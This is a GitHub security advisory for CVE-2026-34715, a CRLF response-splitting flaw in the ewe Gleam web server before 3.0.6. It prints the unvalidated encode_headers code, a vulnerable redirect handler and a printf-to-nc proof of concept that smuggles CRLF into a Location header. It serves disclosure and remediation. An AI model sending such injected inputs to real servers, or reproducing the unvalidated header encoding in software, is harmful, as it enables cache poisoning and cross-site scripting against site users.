GHSA-X2W3-23JR-HRPF
Vulnerability from github – Published: 2026-04-01 22:18 – Updated: 2026-04-01 22:18Summary
The encode_headers function in src/ewe/internal/encoder.gleam directly interpolates response header keys and values into raw HTTP bytes without validating or stripping CRLF (\r\n) sequences. An application that passes user-controlled data into response headers (e.g., setting a Location redirect header from a request parameter) allows an attacker to inject arbitrary HTTP response content, leading to response splitting, cache poisoning, and possible cross-site scripting.
Notably, ewe does validate CRLF in incoming request headers via validate_field_value() in the HTTP/1.1 parser — but provides no equivalent protection for outgoing response headers in the encoder.
Details
File: src/ewe/internal/encoder.gleam
Vulnerable code:
fn encode_headers(headers: List(#(String, String))) -> BitArray {
let headers =
list.fold(headers, <<>>, fn(acc, headers) {
let #(key, value) = headers
<<acc:bits, key:utf8, ": ", value:utf8, "\r\n">>
})
<<headers:bits, "\r\n">>
}
Both key and value are embedded directly into the BitArray output. If either contains \r\n, the resulting bytes become a structurally valid but attacker-controlled HTTP response, terminating the current header early and injecting new headers or a second HTTP response.
Contrast with request parsing (src/ewe/internal/http1.gleam): incoming header values are protected:
use value <- try(
validate_field_value(value) |> replace_error(InvalidHeaders)
)
No analogous validation exists for outgoing header values in the encoder. The solution is to strip or reject \r (0x0D) and \n (0x0A) from all header key and value strings in encode_headers before encoding, mirroring the validation already applied to incoming request headers via validate_field_value()
PoC
An ewe application echoes a user-supplied redirect URL into a Location header:
fn handle_request(req: Request) -> Response {
let redirect_url =
request.get_query(req)
|> result.try(list.key_find(_, "next"))
|> result.unwrap("/home")
response.new(302)
|> response.set_header("location", redirect_url)
|> response.set_body(ewe.Empty)
}
Attacker request:
printf 'GET /?next=https://example.com%%0d%%0aX-Injected:%%20true HTTP/1.1\r\nHost: localhost\r\n\r\n' | nc -w 2 localhost 8080
Resulting response:
HTTP/1.1 302 Found
location: https://example.com
X-Injected: true
content-length: 0
date: Tue, 24 Mar 2026 07:53:00 GMT
connection: keep-alive
The X-Injected: true header appears as a separate response header, confirming that CRLF sequences in user input are not sanitized by the encoder.
{
"affected": [
{
"package": {
"ecosystem": "Hex",
"name": "ewe"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.0.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34715"
],
"database_specific": {
"cwe_ids": [
"CWE-113"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-01T22:18:27Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nThe `encode_headers` function in `src/ewe/internal/encoder.gleam` directly interpolates response header keys and values into raw HTTP bytes without validating or stripping CRLF (`\\r\\n`) sequences. An application that passes user-controlled data into response headers (e.g., setting a `Location` redirect header from a request parameter) allows an attacker to inject arbitrary HTTP response content, leading to response splitting, cache poisoning, and possible cross-site scripting.\n\nNotably, ewe *does* validate CRLF in **incoming** request headers via `validate_field_value()` in the HTTP/1.1 parser \u2014 but provides no equivalent protection for **outgoing** response headers in the encoder.\n\n### Details\n\n**File:** `src/ewe/internal/encoder.gleam`\n\n**Vulnerable code:**\n```gleam\nfn encode_headers(headers: List(#(String, String))) -\u003e BitArray {\n let headers =\n list.fold(headers, \u003c\u003c\u003e\u003e, fn(acc, headers) {\n let #(key, value) = headers\n \u003c\u003cacc:bits, key:utf8, \": \", value:utf8, \"\\r\\n\"\u003e\u003e\n })\n\n \u003c\u003cheaders:bits, \"\\r\\n\"\u003e\u003e\n}\n```\n\nBoth `key` and `value` are embedded directly into the `BitArray` output. If either contains `\\r\\n`, the resulting bytes become a structurally valid but attacker-controlled HTTP response, terminating the current header early and injecting new headers or a second HTTP response.\n\n**Contrast with request parsing** (`src/ewe/internal/http1.gleam`): incoming header values are protected:\n```gleam\nuse value \u003c- try(\n validate_field_value(value) |\u003e replace_error(InvalidHeaders)\n)\n```\n\nNo analogous validation exists for outgoing header values in the encoder. The solution is to strip or reject `\\r` (0x0D) and `\\n` (0x0A) from all header key and value strings in `encode_headers` before encoding, mirroring the validation already applied to incoming request headers via `validate_field_value()`\n\n### PoC\n\nAn ewe application echoes a user-supplied redirect URL into a `Location` header:\n\n```gleam\nfn handle_request(req: Request) -\u003e Response {\n let redirect_url =\n request.get_query(req)\n |\u003e result.try(list.key_find(_, \"next\"))\n |\u003e result.unwrap(\"/home\")\n\n response.new(302)\n |\u003e response.set_header(\"location\", redirect_url)\n |\u003e response.set_body(ewe.Empty)\n}\n```\n\nAttacker request:\n```bash\nprintf \u0027GET /?next=https://example.com%%0d%%0aX-Injected:%%20true HTTP/1.1\\r\\nHost: localhost\\r\\n\\r\\n\u0027 | nc -w 2 localhost 8080\n```\n\nResulting response:\n```\nHTTP/1.1 302 Found\nlocation: https://example.com\nX-Injected: true\ncontent-length: 0\ndate: Tue, 24 Mar 2026 07:53:00 GMT\nconnection: keep-alive\n\n\n```\n\nThe `X-Injected: true` header appears as a separate response header, confirming that CRLF sequences in user input are not sanitized by the encoder.",
"id": "GHSA-x2w3-23jr-hrpf",
"modified": "2026-04-01T22:18:27Z",
"published": "2026-04-01T22:18:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vshakitskiy/ewe/security/advisories/GHSA-x2w3-23jr-hrpf"
},
{
"type": "PACKAGE",
"url": "https://github.com/vshakitskiy/ewe"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "ewe Has Improper Neutralization of CRLF Sequences in HTTP Headers (HTTP Request/Response Splitting)"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.